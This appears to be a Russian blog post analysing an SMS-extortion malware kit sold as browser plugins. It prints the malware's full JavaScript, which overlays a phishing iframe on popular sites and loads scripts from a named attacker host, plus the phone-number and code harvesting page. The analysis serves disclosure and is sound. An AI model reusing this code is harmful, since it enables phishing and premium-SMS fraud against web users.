На днях наткнулся на свежий SMS-вымогатель в виде набора плагинов для браузеров. Как он попал на машину точно сказать не могу, но что у него внутри разберу. Штука свежая, от пятого числа этого месяца, если судить по датам компиляции плагина для IE.
Итак, выглядит данная зараза как показано на скриншоте выше. Также есть вариации для Facebook, Mail.ru, Yandex, Google, Rambler и одноклассников:
Проявляется во всех установленных на машине браузерах. При вводе номера телефона присылает SMS от 1005, просит ответить «Да», что обойдётся ответившиму в 135 рублей (и, скорее всего, подписку на какую-то дрянь). Попутно эта гадость занимается рассылкой сообщений по вконтакту от имени залогиненного пользователя.
Видно, что «бизнес» начал требовать какого-никакого качества. Для каждого сервиса используется свой дизайн окошка. За счёт того, что реализовано всё через плагин браузера, пользователь в подложке видит свой аккаунт, что вызывает некую степень доверия. Ну и так как в hosts писать всякую фигню уже не модно (об этом уже каждый школьник знает), использован альтернативный подход.
Итак, наборчик состоит из плагинов для Chrome, IE и FF, userscript для Opera.
Внутри отличаются незначительно. Все выполняют примерно аналогичный код на JavaScript:
function my_addLoadEvent(func) {
if(document.readyState == 'complete'){
func();
}
else{
var oldonload = window.onload;
if (typeof window.onload != 'function') {
window.onload = func;
} else {
window.onload = function() {
if (oldonload) {
oldonload();
}
func();
}
}
}
}
var cur_url = document.location.toString();
if('https:' == document.location.protocol) {
if (typeof(testInformer) === 'undefined') {
var testInformer = 1;
var tstImg = new Image();
tstImg.src = 'http://dreamselfprotection.net/check.php';
tstImg.onload = function(){
var ex_url = cur_url.split('/');
var the_host = ex_url[2];
if(the_host.substr(0,4) == 'www.')
the_host = the_host.substr(4);
var in_hosts = {
'facebook.com' : 'facebook',
'my.mail.ru' : 'mymailru',
'otvet.mail.ru' : 'mailru',
'games.mail.ru' : 'mailru',
'love.mail.ru' : 'mailru',
'news.mail.ru' : 'mailru',
'mail.ru' : 'mailru',
'e.mail.ru' : 'mailru',
'mail.yandex.ru' : 'mailyandex',
'yandex.ru' : 'mailyandex',
'ya.ru' : 'mailyandex',
'mail.google.com' : 'gmail',
'accounts.google.com' : 'gmail',
'gmail.com' : 'gmail',
'google.com' : 'gmail',
'google.ru' : 'gmail',
'vk.com' : 'vkontakte',
'vkontakte.ru' : 'vkontakte',
'odnoklassniki.ru' : 'odnoklassniki',
'rambler.ru' : 'rambler',
'mail.rambler.ru' : 'rambler',
'nova.rambler.ru' : 'rambler',
'news.rambler.ru' : 'rambler'
};
if(typeof(in_hosts[the_host]) !== 'undefined'){
my_addLoadEvent(function(){
var div = document.createElement('div');
div.style.position = 'fixed';
div.style.left = '0px';
div.style.top = '0px';
div.style.zIndex = '100000';
div.style.background = '#fff';
div.style.width = '100%';
div.style.height = '100%';
div.style.opacity = '0.8';
div.style.filter = 'alpha(opacity=80)';
var innerDiv = document.createElement('div');
innerDiv.style.position = 'fixed';
innerDiv.style.left = '50%';
innerDiv.style.top = '50%';
innerDiv.style.marginLeft = '-200px';
innerDiv.style.marginTop = '-125px';
innerDiv.style.zIndex = '100001';
innerDiv.style.background = '#fff';
innerDiv.style.width = '400px';
innerDiv.style.height = '250px';
innerDiv.innerHTML = '<iframe width="100%" height="100%" frameborder="0" scrolling="no" src="http://dreamselfprotection.net/real_iframe.php?template='+in_hosts[the_host]+'&from='+the_host+'"></iframe>';
document.getElementsByTagName('body')[0].appendChild(div);
document.getElementsByTagName('body')[0].appendChild(innerDiv);
});
}
}
}
} else {
var sc = document.createElement('script');
sc.type = 'text/javascript';
sc.async = false;
sc.src = 'http://dreamselfprotection.net/iframe.php';
var b = document.getElementsByTagName('body')[0];b.appendChild(sc);
}
Код выше загружает тестовую картинку (по видимому, просто проверка на то, что сервер всё ещё жив), передаёт нужные параметры iframe, который вставляет поверх страницы.
real_iframe.php
отвечает за содержимое фрейма, генерит следующее:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="styles/.css?rnd=1355016550" />
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script>
</head>
<body>
<div class="header">Анти-спам проверка</div>
<div id="contentBlock">
<div class="desc_text">С Вашего ip замечена подозрительная активность. Возможно Ваш аккаунт пытались взломать. Подтвердите, что Вы являетесь владельцем данного аккаунта.</div>
<div class="regForm">
<label for="phone" class="phoneLabel">Введите номер вашего телефона:</label>
<input type="tel" name="phone" id="phone" class="phone" />
<input type="submit" class="regButton" value="Продолжить" onclick="registration();return false;" />
<div style="clear:both"></div>
<div class="example">Пример: 79161234567</div>
</div>
</div>
<div style="clear:both"></div>
<div class="error"></div>
<div class="loading">загрузка...</div>
<script type="text/javascript">
function keyfunc(){
alert(window.event.keyCode);
}
function showError(txt) {
$('.error').html(txt);
$('.error').fadeIn();
setTimeout('$(".error").fadeOut()',1000);
}
function loading(s) {
if(s == 1) {
$('.loading').show();
//$('.regButton').attr('disabled', 'disabled');
} else {
$('.loading').hide();
//$('.regButton').removeAttr('disabled');
}
}
var temp = {'phone' : ''};
var mt = 1;
var loaded = 0;
function registration() {
var reg = new RegExp("79|89", "i");
var reg2 = new RegExp("[^0-9]", "i");
var phone_num = $('#phone').val();
var hash = 'bbfae214e1fc9e75b95d64724529eeb9';
if((phone_num.length!=11) || (reg2.test(phone_num) ==true)) {
showError('Номер телефона указан неверно');
} else {
loading(1);
$.post('request.php',{'c':'reg','num':phone_num,'user':hash,'from':''},function(data){
temp.phone = phone_num;
var a = jQuery.parseJSON(data);
if(a.redirect) {
$('#contentBlock').html('<div class="desc_text">Для продолжения нажмите на кнопку и завершите процесс в открывшемся окне.</div><br/><input style="margin-left:10px;" type="button" class="regButton" value="Продолжить" onclick="window.open(''+a.redirect+'#TextBoxActivationCode','','toolbar=0,location=0,menubar=0,directories=0,resizable=0,scrollbars=0,width=360,height=280');" />');
}
else
{
if(a.success) {
if(a.mo) {
mt = 0;
moCode();
} else {
mt = 1;
enterCode(phone_num);
}
} else {
showError(a.error);
}
}
loading(0);
});
//mt = 0;
//moCode();
}
}
function moCode() {
$('#contentBlock').html('<div class="desc_text">Для подтверждения, ответьте положительно на полученное сообщение, после чего вы получите код подтверждения.</div>'
+'<div class="regForm">'
+'<label for="code" class="phoneLabel">Полученный код:</label>'
+'<input type="text" name="code" id="code" class="phone" />'
+'<input type="button" class="regButton" onclick="checkCode()" value="Продолжить" />'
+'<div style="clear:both"></div>'
+'<br/><a href="#" onclick="mainWindow();return false;" class="reCodeLink">Получить код заново.</a>'
+'</div>');
}
function enterCode(phone) {
if(!phone) {
phone = 79;
}
$('.cl_info').html('На ваш номер отправлен код подтверждения. Введите его в форму ниже.');
$('.cl_form').html('<label>Номер телефона: </label>'
+'<input type="text" value="'+phone+'" id="phone" maxlength="11" DISABLED /><br>'
+'<label>Код: </label>'
+'<input type="text" value="" id="code" maxlength=""><br/>');
$('#controlLink').html('Получить код.').attr('onclick','mainWindow()');
$('#mbutton').attr('onclick','checkCode()');
}
function mainWindow() {
$('#contentBlock').html('<div class="desc_text">С Вашего ip замечена подозрительная активность. Возможно Ваш аккаунт пытались взломать. Подтвердите, что Вы являетесь владельцем данного аккаунта.</div>'
+'<div class="regForm">'
+'<label for="phone" class="phoneLabel">Введите номер вашего телефона:</label>'
+'<input type="tel" name="phone" id="phone" class="phone" />'
+'<input type="button" class="regButton" value="Продолжить" onclick="registration();return false;" />'
+'<div style="clear:both"></div>'
+'<div class="example">Пример: 79161234567</div>'
+'</div>');
}
function checkCode() {
var phone = temp.phone;
var code = $('#code').val();
loading(1);
$.post('request.php',{'c':'code','phone':phone,'code':code,'mt':mt},function(data){
// alert(data);
var a = jQuery.parseJSON(data);
if(a.success) {
document.location.href = '/registered.php?secret=ReallyRegistered';
} else {
showError('Неправильный код');
loading(0);
}
});
}
function rand (min, max) {
var argc = arguments.length;
if (argc === 0) {
min = 0;
max = 2147483647;
} else if (argc === 1) {
throw new Error('Warning: rand() expects exactly 2 parameters, 1 given');
}
return Math.floor(Math.random() * (max - min + 1)) + min;
}
</script>
<div style="display:none">
<!--LiveInternet counter--><script type="text/javascript"><!--
document.write("<a href='http://www.liveinternet.ru/click' "+
"target=_blank><img src='//counter.yadro.ru/hit?t52.6;r"+
escape(document.referrer)+((typeof(screen)=="undefined")?"":
";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth?
screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+
";"+Math.random()+
"' alt='' title='LiveInternet: number of pageviews and visitors"+
" for 24 hours is shown' "+
"border='0' width='88' height='31'></a>")
//--></script><!--/LiveInternet-->
</div>
</body>
</html>
Тут всё более-менее прозрачно. Выводится контент окошка, подтягивается нужный CSS, производится валидация формы и, если она валидна, всё отправляется request.php
, который, собственно, и отсылает SMS через гейт ООО «Пластик Медиа». Тут стоит отметить две немаловажные детали:
1. Реализована проверка введённого кода и убирание окошка (не тестировал).
2. Ведётся статистика счётчиком liveinternet.ru.
То есть подход довольно основательный, но есть пробелы:
1. Сервер развёрнут фигово. Например, не выставлена timezone, не закрыт phpinfo и SSH, что довольно сильно контрастирует с более-менее продуманным кодом. Либо админ делал лишь бы работало, либо программист делал самостоятельно, не разбираясь детально, что и как должно работать. В обоих случаях у реализатора есть шанс быть взятым за задницу.
2. Эта штука, несмотря на то, что гарантированно испортит её реализатору всю карму и, возможно, чуть более, чем карму, приносит прилично денег. Иначе разработчик сей хреновины не сидел бы за фотошопом CS6 (не факт, что лицензионном) за маком. Кстати, Adobe внедряет уникальные хеши во все картинки. По идее, они могут идентифицировать поганца.
Что со всем этим делать я, если честно, не знаю, но, надеюсь, было интересно.
Автор: SamDark